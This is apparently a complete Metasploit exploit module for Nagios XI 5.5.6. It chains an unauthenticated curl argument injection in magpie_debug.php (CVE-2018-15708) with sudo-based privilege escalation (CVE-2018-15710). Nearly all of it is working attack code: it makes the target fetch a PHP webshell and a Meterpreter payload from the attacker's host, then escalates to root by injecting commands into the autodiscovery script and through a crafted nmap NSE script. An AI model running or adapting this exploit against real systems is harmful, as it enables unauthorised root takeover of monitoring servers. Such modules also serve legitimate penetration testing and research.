1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183 | ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => "Nagios XI Magpie_debug.php Root Remote Code Execution",
'Description' => %q{
This module exploits two vulnerabilities in Nagios XI 5.5.6:
CVE-2018-15708 which allows for unauthenticated remote code execution
and CVE 2018–15710 which allows for local privilege escalation.
When combined, these two vulnerabilities give us a root reverse shell.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Chris Lyne (@lynerc)', # First working exploit
'Guillaume André (@yaumn_)' # Metasploit module
],
'References' =>
[
['CVE', '2018-15708'],
['CVE', '2018-15710'],
['EDB', '46221'],
['URL', 'https://medium.com/tenable-techblog/rooting-nagios-via-outdated-libraries-bb79427172'],
['URL', 'https://www.tenable.com/security/research/tra-2018-37']
],
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' =>
[
['Nagios XI 5.5.6', version: Gem::Version.new('5.5.6')]
],
'DefaultOptions' =>
{
'RPORT' => 443,
'SSL' => true
},
'Privileged' => false,
'DisclosureDate' => "2018-11-14",
'DefaultTarget' => 0
))
register_options(
[
OptString.new('RSRVHOST', [true, 'A public IP at which your host can be reached (e.g. your router IP)']),
OptString.new('RSRVPORT', [true, 'The port that will forward to the local HTTPS server', 8080]),
OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait before termination', 5])
])
@WRITABLE_PATHS = [
['/usr/local/nagvis/share', '/nagvis'],
['/var/www/html/nagiosql', '/nagiosql']
]
@writable_path_index = 0
@MAGPIERSS_PATH = '/nagiosxi/includes/dashlets/rss_dashlet/magpierss/scripts/magpie_debug.php'
@session_opened = false
@webshell_name = "#{Rex::Text.rand_text_alpha(10)}.php"
@nse_name = "#{Rex::Text.rand_text_alpha(10)}.nse"
@meterpreter_name = Rex::Text.rand_text_alpha(10)
end
def on_request_uri(cli, req)
if @current_payload == @webshell_name
send_response(cli, '<?php system($_GET[\'cmd\'])?>')
else
send_response(cli, generate_payload_exe)
end
end
def primer
res = send_request_cgi(
{
'method' => 'GET',
'uri' => normalize_uri(@MAGPIERSS_PATH),
'vars_get' => {
'url' => "https://#{datastore['RSRVHOST']}:#{datastore['RSRVPORT']}#{get_resource} " +
'-o ' + @WRITABLE_PATHS[@writable_path_index][0] + "/#{@current_payload}"
}
}, 5)
if !res || res.code != 200
print_error('Couldn\'t send malicious request to target.')
end
end
def check_upload
res = send_request_cgi(
{
'method' => 'GET',
'uri' => normalize_uri("#{@WRITABLE_PATHS[@writable_path_index][1]}/#{@current_payload}")
}, 5)
if res && res.code == 200
print_status("#{@current_payload} uploaded with success!")
return true
else
print_error("Couldn't upload #{@current_payload}.")
return false
end
end
def check
res = send_request_cgi(
{
'method' => 'GET',
'uri' => normalize_uri(@MAGPIERSS_PATH)
}, 5)
if res && res.code == 200
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
end
def exploit
all_files_uploaded = false
# Upload useful files on the target
for i in 0..@WRITABLE_PATHS.size
@writable_path_index = i
for filename in [@webshell_name, @meterpreter_name]
@current_payload = filename
begin
Timeout.timeout(datastore['HTTPDELAY']) { super }
rescue Timeout::Error
if !check_upload
break
elsif filename == @meterpreter_name
all_files_uploaded = true
end
end
end
if all_files_uploaded
break
end
end
meterpreter_path = "#{@WRITABLE_PATHS[@writable_path_index][0]}/#{@meterpreter_name}"
register_file_for_cleanup(
"#{@WRITABLE_PATHS[@writable_path_index][0]}/#{@webshell_name}",
meterpreter_path,
"/var/tmp/#{@nse_name}"
)
# Commands to escalate privileges, some will work and others won't
# depending on the Nagios version
cmds = [
"chmod +x #{meterpreter_path} && sudo php /usr/local/nagiosxi/html/includes/" \
"components/autodiscovery/scripts/autodiscover_new.php --addresses=\'127.0.0.1/1`#{meterpreter_path}`\'",
"echo 'os.execute(\"#{meterpreter_path}\")' > /var/tmp/#{@nse_name} " \
"&& sudo nmap --script /var/tmp/#{@nse_name}"
]
# Try to launch root shell
for cmd in cmds
res = send_request_cgi(
{
'uri' => normalize_uri("#{@WRITABLE_PATHS[@writable_path_index][1]}/#{@webshell_name}"),
'method' => 'GET',
'vars_get' => {
'cmd' => cmd
}
}, 5)
if !res && session_created?
break
end
print_status('Couldn\'t get remote root shell, trying another method')
end
end
end
|